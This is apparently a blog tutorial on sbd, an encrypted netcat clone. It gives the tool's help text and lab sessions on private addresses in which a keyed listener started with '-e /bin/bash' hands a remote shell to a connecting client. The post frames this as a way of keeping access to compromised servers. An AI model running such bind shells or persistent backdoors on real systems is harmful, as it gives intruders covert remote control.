The sbd command is a netcat clone that offers decent encryption, allows for command execution, and will install on Linux or Windows. You are likely aware of netcat and all of the different ways you can use it including reverse shells, port scanning, etc. The sbd command is a great tool for opening up protected listeners or as noted in the Backtrack Linux menu for maintaining access to servers on compromised networks. Since it is likely you are familiar with nc or netcat below I go into setting up a reverse shell using a secret key between the listener and the connecting client.
The sbd Help Output:
sbd Help Output
sbd 1.37 Copyright (C) 2004 Michel Blomgren
$Id: sbd.c,v 1.37 2005/08/21 22:40:47 shadow Exp $
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
connect (tcp): sbd [-options] host port
listen (tcp): sbd -l -p port [-options]
-l listen for incoming connection
-p n choose port to listen on, or source port to connect out from
-a address choose an address to listen on or connect out from
-e prog program to execute after connect (e.g. -e cmd.exe or -e bash)
-r n infinitely respawn/reconnect, pause for n seconds between
connection attempts. -r0 can be used to re-listen after
disconnect (just like a regular daemon)
-c on|off encryption on/off. specify whether you want to use the built-in
AES-CBC-128 + HMAC-SHA1 encryption implementation (by
Christophe Devine – http://www.cr0.net:8040/) or not
default is: -c on
-k secret override default phrase to use for encryption (secret must be
shared between client and server)
-q hush, quiet, don’t print anything (overrides -v)
-v be verbose
-n toggle numeric-only IP addresses (don’t do DNS resolution). if
you specify -n twice, original state will be active (i.e. -n
works like a on/off switch)
-m toggle monitoring (snooping) on/off (only used with the -e
option). snooping can also be turned on by specifying -vv (-v
-P prefix add prefix (+ a hardcoded separator) to all outbound data.
this option is mostly only useful for sbd in “chat mode” (to
prefix lines you send with your nickname)
-H on|off highlight incoming data with a hardcoded (color) escape
sequence (for e.g. chatting). default is: -H off
-V print version banner and exit (include that output in your
bug report and send bug report to firstname.lastname@example.org)
unix-like OS specific options:
-s invoke a shell, nothing else. if sbd is setuid 0, it’ll invoke
a root shell
-w n “immobility timeout” in seconds for idle read/write operations
and program execution (the -e option)
-D on|off fork and run in background (daemonize). default: -D off
The sbd command is simple and easy to use by not providing a ton of switches it makes it clear that it is primarily used to provide encrypted bind connections or provide a encrypted reverse shell. Below we first show an example of a listener setup with a specific secret key and a failed attempt at connecting to the listener which closes upon the failed connection attempt because of a bad secret key being used. The two example outputs below show all of the communication between the client and the server so keep in mind that the listener was setup, listening, and did not close until the failed connection attempt from the client. The computer hostnames represent the server that is listening as bt1 and the client computer making a secure connection as bt2.
Example sbd Encrypted Listener Setup Using Secret Key:
root@bt1:~# sbd -lvp 4444 -k lockdown -e /bin/bash listening on port 4444 connect to 192.168.33.77:4444 from 192.168.33.109:54302 (bt.ak.question-defense.com) authentication failed (aes-cbc-128) root@bt1:~#
Example sbd Failed Encrypted Connection To Listener Because Of Incorrect Secret Key:
root@bt2:~# sbd -k lockd 192.168.33.77 4444 authentication failed (aes-cbc-128) root@bt2:~#
Now that we see the failed connection and what the output would look like in this scenario we are going to demonstrate a successful connection and a command issued on the remote server to prove that a encrypted bash shell as been provided. In the below example we have monitoring or snooping enabled using the -vv which can also be set using the -m switch. The -k switch sets a secret key on the server where the listener is running and connections will fail as shown in the above example if the proper secret key is not entered. The -l switch tells sbd to listen and the -p switch tells sbd the port to listen on which in this case is port 4444. Last but not least is the -e switch which tells sbd which command to execute once a successful connection has been made which in this example is /bin/bash.
Second Example sbd Encrypted Listener Setup Using Secret Key:
root@zotac:~# sbd -lvvp 4444 -k lockdown -e /bin/bash listening on port 4444 connect to 192.168.33.77:4444 from 192.168.33.109:54307 (bt.ak.question-defense.com) executing: /bin/bash ifconfig eth0 Link encap:Ethernet HWaddr 00:01:2e:40:16:b0 inet addr:192.168.33.77 Bcast:192.168.33.255 Mask:255.255.255.0 inet6 addr: fe80::201:2eff:fe40:16b0/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:80925 errors:0 dropped:0 overruns:0 frame:0 TX packets:815 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:6490253 (6.4 MB) TX bytes:107132 (107.1 KB) Interrupt:43 Base address:0xc000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:5408 errors:0 dropped:0 overruns:0 frame:0 TX packets:5408 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:390037 (390.0 KB) TX bytes:390037 (390.0 KB) exit connection closed root@zotac:~#
The client computer or computer making a connection to the listener uses the -v switch for a more verbose output (note that -vv can be used for an even more verbose output) and the -k switch to specify the correct secret key that was also set on the listener. Once a connection is made to the sbd listener we type ifconfig to display that a successful connection has been made and we now have a remote bash shell on the listening server. To exit and close the connection on the listener we simply type exit as we would in a typical bash shell window.
Example sbd Successful Encrypted Connection To Listener With Bash Shell Access:
root@bt:~# sbd -vk lockdown 192.168.33.77 4444 reverse lookup of 192.168.33.77 failed: Unknown server error connecting to 192.168.33.77 [192.168.33.77] on port 4444 connected to 192.168.33.77:4444 ifconfig eth0 Link encap:Ethernet HWaddr 00:01:2e:40:16:b0 inet addr:192.168.33.77 Bcast:192.168.33.255 Mask:255.255.255.0 inet6 addr: fe80::201:2eff:fe40:16b0/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:80925 errors:0 dropped:0 overruns:0 frame:0 TX packets:815 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:6490253 (6.4 MB) TX bytes:107132 (107.1 KB) Interrupt:43 Base address:0xc000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:5408 errors:0 dropped:0 overruns:0 frame:0 TX packets:5408 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:390037 (390.0 KB) TX bytes:390037 (390.0 KB) exit root@bt:~#
Also just to prove the fact that sbd is in fact encrypted I have included a quick wireshark capture image that shows the traffic between the server listener and the client making the connection and you can see that the actual data packets are labeled as Encrypted Request Packets and Encrypted Response Packets. Later when I do an article on netcat or nc I will try to remember to link back to this article to also show a wireshark capture where the data is not encrypted so you can see the benefit of sbd over netcat in specific scenarios.
Wireshark Capture Of Encrypted sbd Connection:
There are other useful scenarios that sbd can be used for however the above should provide a basic understanding of its functionality and the usefulness of having the data between listener and client being encrypted.